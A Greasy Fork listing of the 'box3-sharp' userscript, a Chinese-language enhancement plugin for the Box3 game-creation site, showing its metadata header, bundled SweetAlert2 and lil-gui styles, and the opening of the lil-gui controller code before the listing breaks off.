box3-sharp

Box3增强插件

安装此脚本
作者推荐脚本

您可能也喜欢CodemaoProMax

安装此脚本
  1. // ==UserScript==
  2. // @name box3-sharp
  3. // @namespace box3.codemao.cn
  4. // @version 1.2.1
  5. // @author AlanBestHacker
  6. // @description Box3增强插件
  7. // @license GPL-3.0
  8. // @icon https://box3.fun/favicon.ico
  9. // @homepageURL https://greasyfork.org/scripts/456978-box3-sharp/
  10. // @match https://box3.codemao.cn/*
  11. // @match https://box3.fun/*
  12. // @grant GM_getValue
  13. // @grant GM_info
  14. // @grant GM_openInTab
  15. // @grant GM_setValue
  16. // @grant unsafeWindow
  17. // ==/UserScript==
  18.  
  19. (o=>{const a=document.createElement("style");a.dataset.source="vite-plugin-monkey",a.innerText=o,document.head.appendChild(a)})('.container-window{position:fixed;left:50px;top:50px;z-index:999}.container-window .handle{cursor:move;position:relative;margin-left:auto;width:calc(100% - 80px);border-left:1px solid rgba(255,255,255,.8);opacity:0;height:25px;background-color:#0003;color:#fffc;display:flex;justify-content:center;align-items:center;z-index:999;transition:opacity .25s;font-size:4px}.container-window .handle:hover{opacity:1}._2x0RglLpha6lx9vdRMkP5r{user-select:text!important}@keyframes opacity-show{0%{opacity:0}to{opacity:1}}@keyframes opacity-hide{to{opacity:0}}.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4!important;grid-row:1/4!important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:rgba(54,70,93,.99);box-shadow:0 0 1px #00000013,0 1px 2px #00000013,1px 2px 4px #00000013,1px 3px 8px #00000013,2px 4px 16px #00000013;pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:.5em 0 0;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content,auto) minmax(min-content,auto) minmax(min-content,auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(54,70,93,.99)}.swal2-container.swal2-backdrop-hide{background:transparent!important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0,1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0,1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0,1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none!important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0,100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:transparent;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:#fff;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 transparent #2778c4 transparent}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px transparent;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px #7066e080}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px #dc374180}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px #6e788180}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 1px #36465dfc,0 0 0 3px #7a91b2fc}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid rgba(255,255,255,.2);color:#fff;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto!important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{position:fixed;z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:transparent;color:#fff;font-family:serif;font-family:monospace;font-size:3em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:transparent;color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px #6496c880}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:#fff;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(73,94,125,.99);box-shadow:inset 0 1px 1px #0000000f,0 0 0 3px transparent;color:#fff;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px #0000000f,0 0 0 3px #6496c880}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:transparent}.swal2-range input{width:80%}.swal2-range output{width:20%;color:#fff;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(73,94,125,.99);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(73,94,125,.99);color:#fff;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:transparent;color:#fff}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:transparent;color:#fff;font-size:1em;font-weight:300}.swal2-validation-message:before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:.25em solid transparent;border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:transparent;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:rgba(122,145,178,.99);color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:rgba(122,145,178,.99)}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{animation:opacity-show .3s}.swal2-hide{animation:opacity-hide .1s}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotate(2deg)}33%{transform:translateY(0) rotate(-2deg)}66%{transform:translateY(.3125em) rotate(2deg)}to{transform:translateY(0) rotate(0)}}@keyframes swal2-toast-hide{to{transform:rotate(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}to{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}to{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}to{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}to{transform:scale(.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}to{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}to{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}to{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}to{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}to{transform:rotateX(0);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}to{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotate(45deg);opacity:0}25%{transform:rotate(-25deg);opacity:.4}50%{transform:rotate(15deg);opacity:.8}75%{transform:rotate(-5deg);opacity:1}to{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{background-color:transparent!important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px #36465dfc}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:transparent;pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translate(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translate(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}.lil-gui{--background-color: transparent;--text-color: rgba(255, 255, 255, .8);--title-background-color: rgba(0, 0, 0, .3);--title-text-color: rgba(255, 255, 255, .9);--widget-color: rgba(100, 100, 100, .1);--hover-color: rgba(100, 100, 100, .2);--focus-color: rgba(255, 255, 255, .2);--number-color: var(--primary-color);--string-color: #ffab00;--font-size: 12px;--input-font-size: 10px;--font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;--font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;--padding: 4px;--spacing: 4px;--widget-height: 20px;--name-width: 45%;--slider-knob-width: 2px;--slider-input-width: 27%;--color-input-width: 27%;--slider-input-min-width: 45px;--color-input-min-width: 45px;--folder-indent: 5px;--widget-padding: 0 0 0 3px;--widget-border-radius: var(--border-radius);--checkbox-size: calc(.75 * var(--widget-height));--scrollbar-width: 2px;max-height:70vh}.lil-gui .name{user-select:none!important}.lil-gui *{transition:background-color .25s}.lil-gui.root{transform:translateY(-25px);border:1px solid transparent;background:rgba(0,0,0,.8);backdrop-filter:blur(var(--blur));filter:saturate(50%);transition:border-color .5s,box-shadow .5s,filter .25s;box-shadow:0 0 0 var(--primary-color);border-radius:var(--border-radius)}.lil-gui.root:hover{border-color:var(--primary-color);box-shadow:0 0 5px var(--primary-color);filter:none}.lil-gui input[type=checkbox]:checked:before{color:var(--primary-color)}option{background:rgba(0,0,0,.5);color:#ffffff80;border-left:1px solid transparent}option:hover{background:rgba(0,0,0,.5);color:#fffc;border-left:1px solid #2196f3}.lil-gui.closed>.children{transform:translateY(-20px);filter:grayscale(100%);opacity:0}.lil-gui.transition>.children{transition-duration:.25s;transition-property:height,opacity,transform,filter;transition-timing-function:cubic-bezier(.2,.6,.35,1);overflow:hidden;pointer-events:none}.lil-gui input{background:transparent;border-bottom:1px solid rgba(255,255,255,.1)}.lil-gui .controller.number:hover .fill{background-color:var(--number-color);box-shadow:0 0 5px var(--number-color)}.lil-gui .controller.number:hover input{text-shadow:0 0 5px var(--number-color)}::selection{background-color:#fff3}.title{user-select:none}.swal2-popup{font-size:unset!important}.swal2-backdrop-show{backdrop-filter:blur(5px);background:rgba(0,0,0,.5)!important}canvas.magic-cursor-canvas{height:100vh;width:100vw;position:fixed;top:0;left:0;z-index:9999999999;opacity:.5;pointer-events:none;transition:opacity .25s}');
  20.  
  21. (function() {
  22. "use strict";
  23. const __variableDynamicImportRuntimeHelper = (glob, path) => {
  24. const v = glob[path];
  25. if (v) {
  26. return typeof v === "function" ? v() : Promise.resolve(v);
  27. }
  28. return new Promise((_, reject) => {
  29. (typeof queueMicrotask === "function" ? queueMicrotask : setTimeout)(reject.bind(null, new Error("Unknown variable dynamic import: " + path)));
  30. });
  31. };
  32. var monkeyWindow = window;
  33. var unsafeWindow = /* @__PURE__ */ (() => {
  34. return monkeyWindow.unsafeWindow;
  35. })();
  36. var GM_info = /* @__PURE__ */ (() => monkeyWindow.GM_info)();
  37. var GM_setValue = /* @__PURE__ */ (() => monkeyWindow.GM_setValue)();
  38. var GM_openInTab = /* @__PURE__ */ (() => monkeyWindow.GM_openInTab)();
  39. var GM_getValue = /* @__PURE__ */ (() => monkeyWindow.GM_getValue)();
  40. class Controller {
  41. constructor(parent, object, property, className, widgetTag = "div") {
  42. this.parent = parent;
  43. this.object = object;
  44. this.property = property;
  45. this._disabled = false;
  46. this._hidden = false;
  47. this.initialValue = this.getValue();
  48. this.domElement = document.createElement("div");
  49. this.domElement.classList.add("controller");
  50. this.domElement.classList.add(className);
  51. this.$name = document.createElement("div");
  52. this.$name.classList.add("name");
  53. Controller.nextNameID = Controller.nextNameID || 0;
  54. this.$name.id = `lil-gui-name-${++Controller.nextNameID}`;
  55. this.$widget = document.createElement(widgetTag);
  56. this.$widget.classList.add("widget");
  57. this.$disable = this.$widget;
  58. this.domElement.appendChild(this.$name);
  59. this.domElement.appendChild(this.$widget);
  60. this.parent.children.push(this);
  61. this.parent.controllers.push(this);
  62. this.parent.$children.appendChild(this.domElement);
  63. this._listenCallback = this._listenCallback.bind(this);
  64. this.name(property);
  65. }
  66. name(name) {
  67. this._name = name;
  68. this.$name.innerHTML = name;
  69. return this;
  70. }
  71. onChange(callback) {
  72. this._onChange = callback;
  73. return this;
  74. }
  75. _callOnChange() {
  76. this.parent._callOnChange(this);
  77. if (this._onChange !== void 0) {
  78. this._onChange.call(this, this.getValue());
  79. }
  80. this._changed = true;
  81. }
  82. onFinishChange(callback) {
  83. this._onFinishChange = callback;
  84. return this;
  85. }
  86. _callOnFinishChange() {
  87. if (this._changed) {
  88. this.parent._callOnFinishChange(this);
  89. if (this._onFinishChange !== void 0) {
  90. this._onFinishChange.call(this, this.getValue());
  91. }
  92. }
  93. this._changed = false;
  94. }
  95. reset() {
  96. this.setValue(this.initialValue);
  97. this._callOnFinishChange();
  98. return this;
  99. }
  100. enable(enabled = true) {
  101. return this.disable(!enabled);
  102. }
  103. disable(disabled = true) {
  104. if (disabled === this._disabled)
  105. return this;
  106. this._disabled = disabled;
  107. this.domElement.classList.toggle("disabled", disabled);
  108. this.$disable.toggleAttribute("disabled", disabled);
  109. return this;
  110. }
  111. show(show = true) {
  112. this._hidden = !show;
  113. this.domElement.style.display = this._hidden ? "none" : "";
  114. return this;
  115. }
  116. hide() {
  117. return this.show(false);
  118. }
  119. options(options) {
  120. const controller = this.parent.add(this.object, this.property, options);
  121. controller.name(this._name);
  122. this.destroy();
  123. return controller;
  124. }
  125. min(min) {
  126. return this;
  127. }
  128. max(max) {
  129. return this;
  130. }
  131. step(step) {
  132. return this;
  133. }
  134. decimals(decimals) {
  135. return this;
  136. }
  137. listen(listen = true) {
  138. this._listening = listen;
  139. if (this._listenCallbackID !== void 0) {
  140. cancelAnimationFrame(this._listenCallbackID);
  141. this._listenCallbackID = void 0;
  142. }
  143. if (this._listening) {
  144. this._listenCallback();
  145. }
  146. return this;
  147. }
  148. _listenCallback() {
  149. this._listenCallbackID = requestAnimationFrame(this._listenCallback);
  150. const curValue = this.save();
  151. if (curValue !== this._listenPrevValue) {
  152. this.updateDisplay();
  153. }
  154. this._listenPrevValue = curValue;
  155. }
  156. getValue() {
  157. return this.object[this.property];
  158. }
  159. setValue(value) {
  160. this.object[this.property] = value;
  161. this._callOnChange();
  162. this.updateDisplay();
  163. return this;
  164. }
  165. updateDisplay() {
  166. return this;
  167. }
  168. load(value) {
  169. this.setValue(value);
  170. this._callOnFinishChange();
  171. return this;
  172. }
  173. save() {
  174. return this.getValue();
  175. }
  176. destroy() {
  177. this.listen(false);
  178. this.parent.children.splice(this.parent.children.indexOf(this), 1);
  179. this.parent.controllers.splice(this.parent.controllers.indexOf(this), 1);
  180. this.parent.$children.removeChild(this.domElement);
  181. }
  182. }
  183. class BooleanController extends Controller {
  184. constructor(parent, object, property) {
  185. super(parent, object, property, "boolean", "label");
  186. this.$input = document.createElement("input");
  187. this.$input.setAttribute("type", "checkbox");
  188. this.$input.setAttribute("aria-labelledby", this.$name.id);
  189. this.$widget.appendChild(this.$input);
  190. this.$input.addEventListener("change", () => {
  191. this.setValue(this.$input.checked);
  192. this._callOnFinishChange();
  193. });
  194. this.$disable = this.$input;
  195. this.updateDisplay();
  196. }
  197. updateDisplay() {
  198. this.$input.checked = this.getValue();
  199. return this;
  200. }
  201. }
  202. function normalizeColorString(string) {
  203. let match, result;
  204. if (match = string.match(/(#|0x)?([a-f0-9]{6})/i)) {
  205. result = match[2];
  206. } else if (match = string.match(/rgb\(\s*(\d*)\s*,\s*(\d*)\s*,\s*(\d*)\s*\)/)) {
  207. result = parseInt(match[1]).toString(16).padStart(2, 0) + parseInt(match[2]).toString(16).padStart(2, 0) + parseInt(match[3]).toString(16).padStart(2, 0);
  208. } else if (match = string.match(/^#?([a-f0-9])([a-f0-9])([a-f0-9])$/i)) {
  209. result = match[1] + match[1] + match[2] + match[2] + match[3] + match[3];
  210. }
  211. if (result) {
  212. return "#" + result;
  213. }
  214. return false;
  215. }
  216. const STRING = {
  217. isPrimitive: true,
  218. match: (v) => typeof v === "string",
  219. fromHexString: normalizeColorString,
  220. toHexString: normalizeColorString
  221. };
  222. const INT = {
  223. isPrimitive: true,
  224. match: (v) => typeof v === "number",
  225. fromHexString: (string) => parseInt(string.substring(1), 16),
  226. toHexString: (value) => "#" + value.toString(16).padStart(6, 0)
  227. };
  228. const ARRAY = {
  229. isPrimitive: false,
  230. match: Array.isArray,
  231. fromHexString(string, target, rgbScale = 1) {
  232. const int = INT.fromHexString(string);
